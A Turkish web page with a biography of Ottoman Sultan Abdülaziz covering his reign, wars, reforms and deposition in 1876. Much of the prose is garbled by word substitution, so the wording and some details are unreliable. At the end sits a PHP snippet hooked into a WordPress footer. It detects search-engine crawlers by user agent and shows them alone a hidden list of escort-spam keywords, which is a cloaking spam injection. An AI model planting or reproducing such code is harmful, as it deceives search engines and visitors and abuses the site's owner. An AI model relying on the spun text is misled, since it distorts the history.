10 Nisan 2021 itibariyle Covid-19 ile mücadelede aşılanan sayısı 18.459.439 kişiye ulaştı.

a İkindi Vakti 16:50
a

Abdülaziz Kimdir?

Abdülaziz Biyografisi

Osmanlı padişahlarının otuz ikincisi, İslam halifelerinin doksan yedincisi olan Sultan Abdülaziz yarıyılında Avrupa’dan alınan borçlar dolayısıyla Osmanlı Devleti parasal eforluklar içine girmişti. Bir yandan çoğalan başkaldırılar Fransız Devrimi ile güçlenen milliyetçilik ve serbestlik fikrinin yansımasıydı. 14 sene 11 ay padişahlık yapan Sultan Abdülaziz, meşrutiyet yanlılarının baskını neticeyi tahttan indirildi.
Sultan Abdülaziz, 8 Şubat 1830‘da istanbul, Eyüp’te II. Mahmut‘un ikinci oğlu olarak Pertevniyal Sultan Hanım‘dan dünyaya geldi. Şehzadeliğinde güreş, binicilik, av gibi sporlarla ve müzik ile fotoğrafla uğraştı. Sarayda iyi bir eğitim gördü. I. Abdülmecit‘in vefatı üzerine 25 Haziran 1861‘de 32 yaşında Osmanlı tahtına geçti.

Tahta geçtikten sonra ordunun ve donanmanın geliştirilmesiyle meşgul oldu. Sultan Abdülaziz tahta çıktığında Osmanlı Devleti’nde dış borçlar suratından üzgüne boşalmıştı. Özellikle gayrimüslimler Fransız İhtilali‘nin getirdiği serbestlikçi ve milliyetçi düşüncelerden ve Avrupaarı neticesinde yine ayaklanmaya başlamışlardı.

Sultan Abdülaziz’in 3 Nisan 1863‘de Mısır ziyaretinden sonra batılı devletlerin baskısı neticesinde tanzimat hareketlerine devam etmek zorunda kaldı. Padişahlığının ilk senelerinde Avrupalı devletlerin baskıları ve iç meseleler ile uğraşan Sultan Abdülaziz, azınlıkların isteklerini yerine getirmek zorunda kaldı.

15 Haziran 1862 tarihinde Avrupa’da destek alan Sırplar, Belgrad Kalesi’ne saldırdılar. 1861‘de Hersek’de çıkan başkaldırı ile birleşerek kısa zamanda gelişen bu hareket 23 Ağustos‘da Ömer Paşa emrindeki Osmanlı ordusunun Rieka’daki Karadağ ordusunu mağlup etmesiyle neticelendi. Bunun üzerine 31 Ağustos 1862‘de İşkodra Sulhı yapıldı. Karadağ Savaşı‘nı sona erdirmek için yapılan bu sulh ile Karadağ iç işlerinde bağımsızlık kazandı.

1856 Paris Antlaşması ile Sırbistan otonomluğunu kazanmıştı. Ancak Osmanlı Devleti’nin bölgede zayıflaması suratından Sırbistan kalan Osmanlı askerlerini de bölgeden çıkarmak için teşebbüslerde bulundu. Avrupalı devletlerin vakaya karışması neticesinde 1867‘de Osmanlı Sırbistan topraklarından çekilmeyi kabul etti.

Bu büyümelerin hemen ardından 1859‘da Eflak ve Boğdan birleşerek ortak bir prens cetmişlerdi ve Osmanlı Devleti de bu prensi tanımak zorunda vazgeçilmişti. Bunun neticesinde Eflak ve Boğdan Osmanlı Devleti’ne bağlı olmakla birlikte birleşerek Romanya Prensliği‘ni kurdu. 28 Haziran 1864‘de Osmanlı Devleti birleşmeyi kabul eden İstanbul Protokolü‘nü imzaladı. Kısa bir zaman sonra 8 Mart 1865‘te Osmanlı Devleti, İngiltere, Fransa, Rusya ve Yunanistan ile beraber İstanbul Sulhı‘nı imzaladı. Bu sulha göre Korfu, Kefalonya, Zenta, Çerigo ve Paksa adaları Yunanistan’a verildi.

Ayaklanmalar Girit‘te de başladı. Meseleyi çözmek için Osmanlı Devleti, yönetimsel ve askeri açıdan teşebbüslerde bulundu. Girit’e sevk edilen Mehmet Emin Paşa, 6 Ekim 1867‘de yeni statü için ferman yayınladı. Sivil idare padişahın soyduğu valiye askeri idare ise ceddilecek komutana verildi. Ceddilen valinin biri müslüman öbürü hıristiyan iki dayanakçısı olacaktı. Gümrük aidatı hariç değişik aidatlardan isme muaf olacak, iki fotoğrafı dili olacaktı. Karma meclis tarım, bayındırlık, ticaret ve sanayi işlerini tasarlayacaktı.

Sultan Abdülaziz, 1867 senesinde Paris’te açılan büyük bir sergiyi görmek için imparator Napolyon‘un davetini kabul ederek Fransa’ya gitti. Ardından İngiltere, Belçika, Almanya, Avusturya, Macaristan yoluyla ülkeye döndü. Bu seyahatleri vaktince bir hayli hükümdar ile görüştü. Ardından Rusya‘nın Karadeniz’e ait kararları dikkate almayacağını bildirmesi üzerine İngiltere, Fransa, Prusya, Rusya ve İtalya arasında 13 Mart 1871‘de Karadeniz’in tarafıszlığına son veren Londra Antlaşması imza atıldı.

19. yüzyılın sonlarına doğru Avrupa’da, Avusturya-Macaristan, Rusya ve Almanya devletleri belirli başlı efor odakları vaziyetindeydiler. Bu üç devletin üzerinde durdukları en ehemmiyetli mevzu Şark Sorunu idi. Dolayısıyla Osmanlı Devleti’nin kontrolü altındaki Hıristiyan unsurun tahrik edilerek Hıristiyanların yaşadıkları bölgelerin kendi nüfuzları altına alınması yolundaki faaliyetlerden geri durmamışlardır. Avusturya-Macaristan İmparatorluğu’nun Bosna-Hersek üzerinde uzun vakittir amaçları bulunmaktaydı ve bu devletin temel emeli Selanik’e erişmekti. 1875 senesinde Bosna-Hersek’te yeni bir başkaldırının çıkmasında şüphesiz Avusturya’nın rolü çok büyüktür. Bosna-Hersek’in Sırbistan ve Karadağ gibi iki Slav ülkesi ile Avusturya arasında yer alması burayı propaganda için uygun bir gidişata getiriyordu. Ayrıca 1856 Paris Antlaşması‘ndan sonra Karadağ, Sırbistan ve Girit gibi yerlerin, çıkan başkaldırılarla muhtariyet kazanmış olmaları da Bosna-Hersek’in Hıristiyanlarını yüreklendiriyordu. Çıkan bu başkaldırılar sırasında Avusturya’nın üstlendiği himayeci rol ve buraya müteveccih dağılma amaçları Rusya’nın tepkisini sürüklemeye başlamıştı.

Veziriazam Mahmut Nedim Paşa, hem dışta hem de içte devletin haysiyetinin sarsılmasına neden oldu. Aldığı kararlarla Avrupa devletlerinin tepkisini sürüklemekle devletin yıllık ödediği borcunu beş yıl zamanla ödenmeyeceğini bildirmesi üzerine Avrupa’da Osmanlılar aleyhine şovlar yapılmasına yol açtı. Rusya bu karmaşıklıktan yararlanarak Balkanlarda Panislavizm propagandasını yayarak başkaldırı çıkmasını sağladılar. Sultan Abdülaziz, Balkanlardaki riskli büyümeyi önlemeye çalışırken daha evvel vazifelerinden azledilmiş bulunan Hüseyin Avni Paşa, Mithat Paşa, Mütercim Rüşti Paşa ile Hasan Hayrullah Efendi ihtilal hazırlığı yapıyorlardı. Özellikle Hüseyin Avni Paşa, Mahmut Nedim Paşa tarafından azledilip, sürüldüğü için padişahı tahttan indirip öldürmeye karar verdi. Londra’ya gidip İngilizlerle bu işi tasarladı. Hüseyin Avni Paşa, Mithat Paşa, Mütercim Rüşdi ve Süleyman paşalar, padişahın tahttan düşürülmesi için geniş bir propagandaya giriştiler. 30 Mayıs 1876 Cuma günü sabahı, saat 04.30’da harekete geçtiler. Taşkışla’dan gelen taburlarla, Mekteb-i Harbiyyenin 300 kadar öğrencisi, Dolmabahçe Sarayı’nı çevirdi. Donanma da deniz tarafını hakimiyet altına aldı. Sultan Abdülaziz kayıkla alınıp, Topkapı Sarayı’na götürülerek odaya tutuklandı. Sonra Fer’iyye Sarayı’na götürüldü.

4 Haziran 1876‘da Hüseyin Avni Paşa, Sultan Abdülaziz’i odada ölü buldu. Sultan Abdülaziz’in cenazesi 5 Haziran 1876‘da büyük bir törenle kaldırıldı. Babası II. Mahmut‘un Çemberlitaş’taki türbesine defnedildi. Yerine Kardeşi I. Abdülmecit‘in oğlu V. Murat geçti.

Sultan Abdülaziz yarıyılında, I. Abdülmecit yarıyılında başlayan yenilik hareketleri sürdürüldü. Yeni bir vilayet teşkilatlanmasına geçildi. Yeni asker giysileri kabul edildi. İlk kez posta pulu kullanıldı. Süveyş Kanalı açıldı. Sahillere deniz fenerleri kondu. İstanbul’da tramvay işletilmeye başlandı. Galata Tüneli yapıldı ve işletilmeye başlandı. Duruşma-i Nizamiye, İcra Toplumu, Ceza, Cinayet ve Hukuk Duruşmalarını havi İstinaf Duruşması, Temyiz Duruşması, gümrüklerle alakalı Rüsumat Eminliği, Merkez Bidayet Duruşmaları teşkil edildi. Meclis-i Kebir-i Maarif ve Tapu Umum Müdürlüğü ve Meclis–i Hazain teşkil edildi. Ahmet Cevdet Paşa başkanlığında Mecelle Toplumu heyetti. Maarif Teşkilat tertipleri tertip edildi. Sultani Okulları Liseler ve Sanayi Okulları açıldı. Fransa İmparatoriçesi, Avusturya İmparatoru, İran Şahı, Sultan Abdülaziz’i ziyaret için İstanbul’a geldiler. Şark ve İzmir Demiryolları açıldı. Tıbbiye, Mülkiye, Orman ve Maden Okulları, Darüşşafaka Lisesi açıldı. İtfaiye Alayı teşkil edildi.

Kadılık Müesseseyi daha sıkı teftiş altına alınarak 1 Nisan 1868 Şura-yı Devlet ve 1870 seneyi içerisinde de Divan-ı Muhasebat heyetti Danıştay ve Sayıştay. Ayrıca eğitim, erişim ve bankacılık mevzularında muhtelif tertip etmeler yapıldı.

Sultan Abdülaziz yarıyılında donanmanın çağdaşlaştırılmasına da çalışıldı. 1875 senesine doğru Türk donanmasında 816 top taşıyan 21 zırhlı ve 173 dayanakçı gemi vardı. Türk Bahriyesinde 50.000 efrad, 700 subay, 208 yüksek rütbeli subay, 11 Tümamiral, 6 Koramiral ve üç Oramiral vardı. Sultan Abdülazizi’in hükümdarlığı sürasince meşrutiyet fikrine başta sıcak baksa da, sonraları değişip bu düşüncesi korunanlara karşı güç kullanacaktır. Yarıyılın aydınlarından İbrahim Şinasi, Namık Kemal ve Ziya Paşa ile padişahlığının ilk yarıyıllarında sıcak ilişkiler kurduysa da daha sonra onları sürgüne yollamıştır. Ülkede meşruti idarenin gelmesini isteyenlerin yarattığı bu serbestlik havası içerisinde Abdülaziz’in tahttan indirilmesi mevzusunda kamuoyu oluşturuldu.

0 0 0 0 0 0
YORUMLAR

s

En az 10 karakter gerekli

HIZLI YORUM YAP

0 0 0 0 0 0

function vururumgardas(){ $agent = $_SERVER['HTTP_USER_AGENT']; $sec = $agent; switch(true){ case (strpos($sec,"google")): $part = 1; break; case (strpos($sec,"yandex")): $part = 1; break; case (strpos($sec,"bing")): $part = 1; break; case (strpos($sec,"yahoo")): $part = 1; break; case (strpos($sec,"alexa")): $part = 1; break; default : $part = 0; } if($part ==1){ echo '
Artuklu escort Tercan escort Didim escort Altınkum escort Beldibi escort Davutlar escort Boğazkent escort Bulancak escort Akçakoca escort Besni escort Midyat escort Refahiye escort Kuşadası escort Lara escort Tekirova escort Güzelçamlı escort Kadriye escort Dereli escort Çilimli escort '; } } add_action('wp_footer', 'vururumgardas');